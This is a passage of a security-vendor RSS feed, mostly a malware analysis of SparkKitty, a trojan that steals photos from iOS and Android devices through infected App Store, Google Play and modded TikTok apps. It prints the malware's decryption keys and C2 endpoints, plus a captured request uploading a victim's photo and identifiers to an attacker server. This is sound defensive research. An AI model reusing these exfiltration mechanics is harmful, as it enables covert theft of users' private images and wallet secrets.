<li><strong>Implement specialized cybersecurity solutions</strong> that provide visibility and control over cloud services, such as <a href="https://www.kaspersky.com/next?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team___knext____7a48716a2c69383d" target="_blank" rel="noopener">Kaspersky Next</a>.</li>
</ol>
]]></content:encoded>
<wfw:commentRss>https://securelist.com/smb-threat-report-2025/116830/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24201202/SL-SMB-threat-report-2025-featured.jpg" width="2000" height="1000"><media:keywords>full</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24201202/SL-SMB-threat-report-2025-featured-1024x512.jpg" width="1024" height="512"><media:keywords>large</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24201202/SL-SMB-threat-report-2025-featured-300x150.jpg" width="300" height="150"><media:keywords>medium</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/24201202/SL-SMB-threat-report-2025-featured-150x150.jpg" width="150" height="150"><media:keywords>thumbnail</media:keywords></media:content>
</item>
<item>
<title>SparkKitty, SparkCat’s little brother: A new Trojan spy found in the App Store and Google Play</title>
<link>https://securelist.com/sparkkitty-ios-android-malware/116793/</link>
<comments>https://securelist.com/sparkkitty-ios-android-malware/116793/#respond</comments>
<dc:creator><![CDATA[Sergey Puzan, Dmitry Kalinin]]></dc:creator>
<pubDate>Mon, 23 Jun 2025 08:00:37 +0000</pubDate>
<category><![CDATA[Malware descriptions]]></category>
<category><![CDATA[Malware Technologies]]></category>
<category><![CDATA[Google Android]]></category>
<category><![CDATA[Mobile Malware]]></category>
<category><![CDATA[Apple iOS]]></category>
<category><![CDATA[Malware Descriptions]]></category>
<category><![CDATA[Malware]]></category>
<category><![CDATA[Trojan]]></category>
<category><![CDATA[Cryptocurrencies]]></category>
<category><![CDATA[Trojan-Spy]]></category>
<category><![CDATA[SparkCat]]></category>
<category><![CDATA[SparkKitty]]></category>
<category><![CDATA[Mobile threats]]></category>
<guid isPermaLink="false">https://kasperskycontenthub.com/securelist/?p=116793</guid>
<description><![CDATA[SparkKitty, a new Trojan spy for iOS and Android, spreads through untrusted websites, the App Store, and Google Play, stealing images from users' galleries.]]></description>
<content:encoded><![CDATA[<p><img width="990" height="400" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23070415/SL-SparkKitty-featured-990x400.jpg" class="attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image" alt="" decoding="async" loading="lazy" /></p><p><em>Update 25.06.2025: Apple removed the malicious app from the App Store.</em></p>
<p>In January 2025, we uncovered the <a href="https://securelist.com/sparkcat-stealer-in-app-store-and-google-play/115385/" target="_blank" rel="noopener">SparkCat spyware campaign</a>, which was aimed at gaining access to victims’ crypto wallets. The threat actor distributed apps containing a malicious SDK/framework. This component would wait for a user to open a specific screen (typically a support chat), then request access to the device’s gallery. It would then use an OCR model to select and exfiltrate images of interest. Although SparkCat was capable of searching for any text within images, that campaign specifically targeted photos containing seed phrases for crypto wallets. The malware was distributed through unofficial sources as well as Google Play and App Store. Now, we’ve once again come across a new type of spyware that has managed to infiltrate the official app stores. We believe it is connected to SparkCat and also targets the cryptocurrency assets of its victims.</p>
<p>Here are the key facts about this new threat:</p>
<ul>
<li>The malware targets both iOS and Android devices, and it is spreading in the wild as well as through the App Store and Google Play. The app is already removed from the latter.</li>
<li>On iOS, the malicious payload is delivered as frameworks (primarily mimicking AFNetworking.framework or Alamofire.framework) or obfuscated libraries disguised as libswiftDarwin.dylib, or it can be embedded directly into the app itself.</li>
<li>The Android-specific Trojan comes in both Java and Kotlin flavors; the Kotlin version is a malicious Xposed module.</li>
<li>While most versions of this malware indiscriminately steal all images, we discovered a related malicious activity cluster that uses OCR to pick specific pictures.</li>
<li>The campaign has been active since at least February 2024.</li>
</ul>
<h2 id="it-all-began-with-a-suspicious-online-store">It all began with a suspicious online store…</h2>
<p>During routine monitoring of suspicious links, we stumbled upon several similar-looking pages that were distributing TikTok mods for Android. In these modified versions, the app’s main activities would trigger additional code. The code would then request a Base64-encoded configuration file from <strong>hxxps://moabc[.]vip/?dev=az</strong>. A sample decoded configuration file is shown below.</p><pre class="urvanov-syntax-highlighter-plain-tag">{
"links": {
"shopCenter": "https://h1997.tiktokapp.club/wap/?",
"goodsList": "https://h1997.tiktokapp.club/www/?",
"orderList": "https://h1997.tiktokapp.club/www/?",
"reg": "https://www.baidu.com",
"footbar": "https://www.baidu.com"
}
}</pre><p>
The links from the configuration file were displayed as buttons within the app. Tapping these opened WebView, revealing an online store named TikToki Mall that accepted cryptocurrency as payment for consumer goods. Unfortunately, we couldn’t verify if it was a legitimate store, as users had to register with an invitation code to make a purchase.</p>
<p>Although we didn’t find any other suspicious functionality within the apps, a gut feeling told us to dig deeper. We decided to examine the code of the web pages distributing the apps, only to find a number of interesting details suggesting they might also be pushing iOS apps.</p><pre class="urvanov-syntax-highlighter-plain-tag"><div class="t-name">
<div class="tit">
{{if ext=="ipa"}}
<i class="iconfont icon-iphone" style="font-size:inherit;margin-right:5px"></i>
{{else}}
<i class="iconfont icon-android" style="font-size:inherit;margin-right:5px"></i>
{{/if}}</pre><p>
<h2 id="ios-app-delivery-method">iOS app delivery method</h2>
<p>And sure enough, visiting the website on an iPhone triggers a series of redirects, ultimately landing the user on a page that crudely mimics the App Store and prompts them to download an app.</p>
<div id="attachment_116795" style="width: 483px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116795" class="size-full wp-image-116795" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1.png" alt="iOS app download page" width="946" height="2048" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1.png 946w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1-139x300.png 139w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1-473x1024.png 473w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1-768x1663.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1-710x1536.png 710w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1-162x350.png 162w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1-462x1000.png 462w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1-129x280.png 129w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235345/sparkkitty-ios1-416x900.png 416w" sizes="auto, (max-width: 946px) 100vw, 946px" /></a><p id="caption-attachment-116795" class="wp-caption-text">iOS app download page</p></div>
<p>As you know, iOS doesn’t just let you download and run any app from a third-party source. However, Apple provides members of the Apple Developer Program with so-called provisioning profiles. These allow a developer certificate to be installed on a user device. iOS then uses this certificate to verify the app’s digital signature and determine if it can be launched. Besides the certificate, a provisioning profile contains its expiration date and the permissions to be granted to the app, as well as other information about the developer and the app. Once the profile is installed on a device, the certificate becomes trusted, allowing the app to run.</p>
<p>Provisioning profiles come in several types. Development profiles are used for testing apps and can only be distributed to a predefined set of devices. App Store Connect profiles allow for publishing an app to the App Store. Enterprise profiles were created to allow organizations to develop internal-use apps and install them on their employees’ devices without publishing them on the App Store and without any restrictions on which devices they can be installed on. Although the Apple Developer Program requires a paid membership and developer verification by Apple, Enterprise profiles are often exploited. They are used not only by developers of apps unsuitable for the App Store (online casinos, cracks, cheats, or illegal mods of popular apps) but also by malware creators.</p><pre class="urvanov-syntax-highlighter-plain-tag"><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>AppIDName</key>
<string>rdcUniApp</string>
<key>ApplicationIdentifierPrefix</key>
<array>
<string>EHQ3N2D5WH</string>
</array>
<key>CreationDate</key>
<date>2025-01-20T06:59:55Z</date>
<key>Platform</key>
<array>
<string>iOS</string>
<string>xrOS</string>
<string>visionOS</string>
</array>
<key>IsXcodeManaged</key>
<false/>
<key>DeveloperCertificates</key>
<array>
<data>OMITTED</data>
</array>
<key>DER-Encoded-Profile</key>
<data>OMITTED</data>
<key>Entitlements</key>
<dict>
<key>application-identifier</key>
<string>EHQ3N2D5WH.com.ss-tpc.rd.rdcUniApp</string>
<key>keychain-access-groups</key>
<array>
<string>EHQ3N2D5WH.*</string>
<string>com.apple.token</string>
</array>
<key>get-task-allow</key>
<false/>
<key>com.apple.developer.team-identifier</key>
<string>EHQ3N2D5WH</string>
</dict>
<key>ExpirationDate</key>
<date>2026-01-20T06:59:55Z</date>
<key>Name</key>
<string>syf</string>
<key>ProvisionsAllDevices</key>
<true/>
<key>TeamIdentifier</key>
<array>
<string>EHQ3N2D5WH</string>
</array>
<key>TeamName</key>
<string>SINOPEC SABIC Tianjin Petrochemical Co. Ltd.</string>
<key>TimeToLive</key>
<integer>365</integer>
<key>UUID</key>
<string>55b65f87-9102-4cb9-934a-342dd2be8e25</string>
<key>Version</key>
<integer>1</integer>
</dict>
</plist></pre><p>
<center><em><strong>Example of a provisioning profile installed to run a malicious TikTok mod</strong></em></center></p>
<p>In the case of the malicious TikTok mods, the attackers used an Enterprise profile, as indicated by the following key in its body:</p><pre class="urvanov-syntax-highlighter-plain-tag"><key>ProvisionsAllDevices</key>
<true/></pre><p>
It’s worth noting that installing any provisioning profile requires direct user interaction, which looks like this:</p>
<div id="attachment_116796" style="width: 2058px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116796" class="size-full wp-image-116796" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2.png" alt="Profile installation flow" width="2048" height="1454" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2-300x213.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2-1024x727.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2-768x545.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2-1536x1091.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2-493x350.png 493w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2-740x525.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2-394x280.png 394w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235703/sparkkitty-ios2-800x568.png 800w" sizes="auto, (max-width: 2048px) 100vw, 2048px" /></a><p id="caption-attachment-116796" class="wp-caption-text">Profile installation flow</p></div>
<h2 id="looking-for-copper-found-gold">Looking for copper, found gold</h2>
<p>Just like its Android counterpart, the installed iOS app contained a library that embedded links to a suspicious store within the user’s profile window. Tapping these opened them in WebView.</p>
<div id="attachment_116797" style="width: 1946px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116797" class="size-full wp-image-116797" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3.png" alt="Suspicious store opened inside a TikTok app" width="1936" height="2048" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3.png 1936w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3-284x300.png 284w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3-968x1024.png 968w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3-768x812.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3-1452x1536.png 1452w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3-331x350.png 331w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3-740x783.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3-265x280.png 265w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235820/sparkkitty-ios3-800x846.png 800w" sizes="auto, (max-width: 1936px) 100vw, 1936px" /></a><p id="caption-attachment-116797" class="wp-caption-text">Suspicious store opened inside a TikTok app</p></div>
<p>It seemed like a straightforward case: another mod of a popular app trying to make some money. However, one strange detail in the iOS version caught our attention. On every launch, the app requested access to the user’s photo gallery – highly unusual behavior for the original TikTok. Furthermore, the library containing the store didn’t have code accessing the photo gallery, and the Android version never requested image permissions. We were compelled to dig a little deeper and examine the app’s other dependencies. This led to the discovery of a malicious module pretending to be <strong>AFNetworking.framework</strong>. For a touch of foreshadowing, let’s spotlight a curious detail: certain apps referred to it as <strong>Alamofire.framework</strong>, but the code itself stayed exactly the same. The original version of AFNetworking is an open-source library that provides developers with a set of interfaces for convenient network operations.</p>
<p>The malicious version differs from the original by a modified <strong>AFImageDownloader</strong> class and an added <strong>AFImageDownloaderTool</strong> class. Interestingly, the authors didn’t create separate initialization functions or alter the library’s exported symbols to launch the malicious payload. Instead, they took advantage of a feature in Objective-C that allows classes to define a special <code>load</code> selector, which is automatically called when the app is loading. In this case, the entry point for the malicious payload was the <code>+[AFImageDownloader load]</code> selector, which does not exist in the original framework.</p>
<div id="attachment_116798" style="width: 743px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235922/sparkkitty-ios4.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116798" class="size-full wp-image-116798" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235922/sparkkitty-ios4.png" alt="Malicious class entry point" width="733" height="206" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235922/sparkkitty-ios4.png 733w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/22235922/sparkkitty-ios4-300x84.png 300w" sizes="auto, (max-width: 733px) 100vw, 733px" /></a><p id="caption-attachment-116798" class="wp-caption-text">Malicious class entry point</p></div>
<p>The malicious payload functions as follows:</p>
<ol>
<li>It checks if the value of the <code>ccool</code> key in the app’s main <strong>Info.plist</strong> configuration file matches the string <code>77e1a4d360e17fdbc</code>. If the two differ, the malicious payload will not proceed.</li>
<li>It retrieves the Base64-encoded value of the <code>ccc</code> key from the framework’s <strong>Info.plist</strong> file. This value is decoded and then decrypted using <strong>AES-256</strong> in <strong>ECB</strong> mode with the key <code>p0^tWut=pswHL-x>>:m?^.^)W</code> padded with nulls to reach a length of 32 bytes. Some samples were also observed using the key <code>J9^tMnt=ptfHL-x>>:m!^.^)A</code>. If there’s no <code>ccc</code> key in the configuration or the key’s value is empty, the malware attempts to use the key <code>com.tt.cf</code> to retrieve an encrypted string from <strong>UserDefaults</strong> – a database where the app can store information for use in subsequent launches.</li>
<li>The decrypted value is a list of URLs from which the malware fetches additional payloads, encrypted using the same method. This new ciphertext contains a set of C2 addresses used for exfiltrating stolen photos.</li>
<li>The final step before uploading the photos is to receive authorization from the C2 server. To do this, the malware sends a GET request to the <strong>/api/getImageStatus</strong> endpoint, transmitting app details and the user’s UUID. The server responds with the following JSON:
<pre class="urvanov-syntax-highlighter-plain-tag">{"msg":"success","code":0,"status":"1"}</pre>
The <code>code</code> field tells the app whether to repeat the request after a delay, with 0 meaning no, and the <code>status</code> field indicates whether it has permission to upload the photos.</li>
<li>Next, the malware requests access to the user’s photo gallery. It then registers a callback function to monitor for any changes within the gallery. The malware exfiltrates any accessible photos that have not already been uploaded. To keep track of which photos have been stolen, it creates a local database. If the gallery is modified while the app is running, the malware will attempt to access and upload the new images to the C2 server.</li>
</ol>
<div id="attachment_116799" style="width: 1318px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116799" class="size-full wp-image-116799" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5.png" alt="Photo exfiltration and upload" width="1308" height="788" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5.png 1308w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5-300x181.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5-1024x617.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5-768x463.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5-330x200.png 330w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5-581x350.png 581w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5-740x446.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5-465x280.png 465w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23000209/sparkkitty-ios5-800x482.png 800w" sizes="auto, (max-width: 1308px) 100vw, 1308px" /></a><p id="caption-attachment-116799" class="wp-caption-text">Photo exfiltration and upload</p></div>
<p>Data transmission is performed directly within the selector <code>[AFImageDownloader receiptID:andPicID:]</code> by making a PUT request to the <strong>/api/putImages</strong> endpoint. In addition to the image itself, information about the app and the device, along with unique user identifiers, is also sent to the server.</p><pre class="urvanov-syntax-highlighter-plain-tag">PUT /api/putImages HTTP/1.1
Host: 23.249.28.88:7777
Content-Type: multipart/form-data; boundary=Boundary+C9D8BE3781515E01
Connection: keep-alive
Accept: */*
User-Agent: TikTok/31.4.0 (iPhone; iOS 14.8; Scale/3.00)
Accept-Language: en-US;q=1, ja-US;q=0.9, ar-US;q=0.8, ru-US;q=0.7
Content-Length: 80089
Accept-Encoding: gzip, deflate
--Boundary+C9D8BE3781515E01
Content-Disposition: form-data; name="appname"
TikTok
--Boundary+C9D8BE3781515E01
Content-Disposition: form-data; name="buid"
com.zhiliaoapp.musically
--Boundary+C9D8BE3781515E01
Content-Disposition: form-data; name="device"
ios
--Boundary+C9D8BE3781515E01
Content-Disposition: form-data; name="userId"
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
--Boundary+C9D8BE3781515E01
Content-Disposition: form-data; name="uuid"
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/Lx/xxx
--Boundary+C9D8BE3781515E01
Content-Disposition: form-data; name="image"; filename="<name>"
Content-Type: image/jpeg
......JFIF.....H.H.....LExif..MM.*...................i.........&.................e.......... ........8Photoshop 3.0.8BIM........8BIM.%................ ...B~...4ICC_PROFILE......$appl....mntrRGB XYZ .......</pre><p>
<h2 id="digging-deeper">Digging deeper</h2>
<p>When we found a spyware component in the modified iOS version of TikTok, we immediately wondered if the Trojan had an Android counterpart. Our initial search led us to a bunch of cryptocurrency apps. These apps had malicious code embedded in their entry points. It requests a configuration file with C2 addresses and then decrypts it using AES-256 in ECB mode. These decrypted addresses are then used by the Trojan to send a GET request to <strong>/api/anheartbeat</strong>. The request includes information about the infected app. The Trojan expects a JSON response. If the <code>code</code> field is 0, it means communication with that C2 is allowed. The <code>status</code> flag in the JSON determines whether the Trojan can send the victim’s images to the server.</p>
<div id="attachment_116801" style="width: 714px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001139/sparkkitty-ios6.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116801" class="size-full wp-image-116801" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001139/sparkkitty-ios6.png" alt="Checking C2 addresses" width="704" height="352" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001139/sparkkitty-ios6.png 704w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001139/sparkkitty-ios6-300x150.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001139/sparkkitty-ios6-700x350.png 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001139/sparkkitty-ios6-560x280.png 560w" sizes="auto, (max-width: 704px) 100vw, 704px" /></a><p id="caption-attachment-116801" class="wp-caption-text">Checking C2 addresses</p></div>
<p>The main functionality of this malware – stealing images from the gallery – works in two stages. First, the malware checks the <code>status</code> flag. If it’s set to allow file uploads, the Trojan then checks the contents of a file named <strong>aray/cache/devices/.DEVICES</strong> on external storage. The first time it runs, the Trojan writes a hexadecimal number to this file. The number is an MD5 hash of a string containing the infected device’s IMEI, MAC address, and a random UUID. The content of this file is then compared to the string <code>B0B5C3215E6D</code>. If the content is different, the Trojan uploads images from the gallery, along with infected device info, to the command server via a PUT request to <strong>/api/putDataInfo</strong>. If the content is the same, it only uploads the third image from the end of an alphabetically sorted list. It’s highly likely the attackers use this specific functionality for debugging their malicious code.</p>
<div id="attachment_116802" style="width: 692px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001309/sparkkitty-ios7.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116802" class="size-full wp-image-116802" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001309/sparkkitty-ios7.png" alt="Uploading image and device information" width="682" height="622" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001309/sparkkitty-ios7.png 682w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001309/sparkkitty-ios7-300x274.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001309/sparkkitty-ios7-384x350.png 384w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001309/sparkkitty-ios7-307x280.png 307w" sizes="auto, (max-width: 682px) 100vw, 682px" /></a><p id="caption-attachment-116802" class="wp-caption-text">Uploading image and device information</p></div>
<p>Later, we discovered other versions of this Trojan embedded in casino apps. These were loaded using the LSPosed framework, which is designed for app code hooking. Essentially, these Trojan versions acted as malicious Xposed modules. They would hook app entry points and execute code similar to the malware we described earlier, but with a few interesting twists:</p>
<ol>
<li>The C2 address storage was located in both the module’s resources and directly within the malware code. Typically, these were two different addresses, and both were used to obtain C2 information.</li>
</ol>
<div id="attachment_116803" style="width: 885px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001500/sparkkitty-ios8.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116803" class="size-full wp-image-116803" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001500/sparkkitty-ios8.png" alt="Procedure for obtaining C2 addresses" width="875" height="670" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001500/sparkkitty-ios8.png 875w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001500/sparkkitty-ios8-300x230.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001500/sparkkitty-ios8-768x588.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001500/sparkkitty-ios8-457x350.png 457w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001500/sparkkitty-ios8-740x567.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001500/sparkkitty-ios8-366x280.png 366w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001500/sparkkitty-ios8-800x613.png 800w" sizes="auto, (max-width: 875px) 100vw, 875px" /></a><p id="caption-attachment-116803" class="wp-caption-text">Procedure for obtaining C2 addresses</p></div>
<ol start="2">
<li>Among the decrypted C2 addresses, the Trojan picks the one corresponding to the fastest server. It does this by sending a request to each server sequentially. If the request is successful, it records the response time. The shortest time then determines which C2 server is used. Note that this algorithm could have been implemented without needing to store intermediate values.</li>
</ol>
<div id="attachment_116804" style="width: 665px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001948/sparkkitty-ios9.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116804" class="size-full wp-image-116804" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001948/sparkkitty-ios9.png" alt="Finding the shortest response time" width="655" height="494" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001948/sparkkitty-ios9.png 655w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001948/sparkkitty-ios9-300x226.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001948/sparkkitty-ios9-200x150.png 200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001948/sparkkitty-ios9-464x350.png 464w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23001948/sparkkitty-ios9-371x280.png 371w" sizes="auto, (max-width: 655px) 100vw, 655px" /></a><p id="caption-attachment-116804" class="wp-caption-text">Finding the shortest response time</p></div>
<ol start="3">
<li>The code uses custom names for classes, methods, and fields.</li>
<li>It is written in Kotlin. Other versions we found were written in Java.</li>
</ol>
<h2 id="spyware-in-official-app-stores">Spyware in official app stores</h2>
<p>One of the Android Java apps containing a malicious payload was a messaging app with crypto exchange features. This app was uploaded to Google Play and installed over 10,000 times. It was still available in the store at the time of this research. We notified Google about it, and they removed the app from the store.</p>
<div id="attachment_116805" style="width: 1497px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003441/sparkkitty-ios10.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116805" class="size-full wp-image-116805" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003441/sparkkitty-ios10.png" alt="Infected app on Google Play" width="1487" height="1072" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003441/sparkkitty-ios10.png 1487w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003441/sparkkitty-ios10-300x216.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003441/sparkkitty-ios10-1024x738.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003441/sparkkitty-ios10-768x554.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003441/sparkkitty-ios10-485x350.png 485w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003441/sparkkitty-ios10-740x533.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003441/sparkkitty-ios10-388x280.png 388w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003441/sparkkitty-ios10-800x577.png 800w" sizes="auto, (max-width: 1487px) 100vw, 1487px" /></a><p id="caption-attachment-116805" class="wp-caption-text">Infected app on Google Play</p></div>
<p>Another infected Android app we discovered is named 币coin and distributed through unofficial sources. However, it also has an iOS version. We found it on the App Store and alerted Apple to the presence of the infected app in their store.</p>
<div id="attachment_116806" style="width: 1946px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116806" class="size-full wp-image-116806" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11.png" alt="Infected app page on the App Store" width="1936" height="2048" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11.png 1936w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11-284x300.png 284w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11-968x1024.png 968w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11-768x812.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11-1452x1536.png 1452w, 